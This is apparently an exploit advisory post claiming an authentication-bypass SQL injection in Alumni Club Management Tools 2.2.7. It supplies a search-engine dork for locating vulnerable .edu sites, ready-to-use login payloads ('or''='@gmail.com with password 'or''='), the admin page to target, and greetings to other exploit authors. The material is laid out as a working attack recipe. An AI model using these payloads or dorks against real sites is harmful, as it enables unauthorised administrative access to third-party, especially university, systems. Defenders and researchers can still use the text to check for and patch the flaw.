Headline
Alumni Club Management Tools 2.2.7 SQL Injection
Alumni Club Management Tools version 2.2.7 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
====================================================================================================================================| # Title : Alumni Club Management Tools v 2.2.7 auth by pass Vulnerability || # Author : indoushka || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(64-bit) | | # Vendor : http://alumnimagnet.com | | # Dork : intext:Powered by AlumniMagnet site:edu inurl:/images.html?view_album= site:edu |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload user : 'or''='@gmail.com pass : 'or''='[+] https://127.0.0.1/edu/admin.html====Greetings to :=========================================================================================================================| jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |===========================================================================================================================================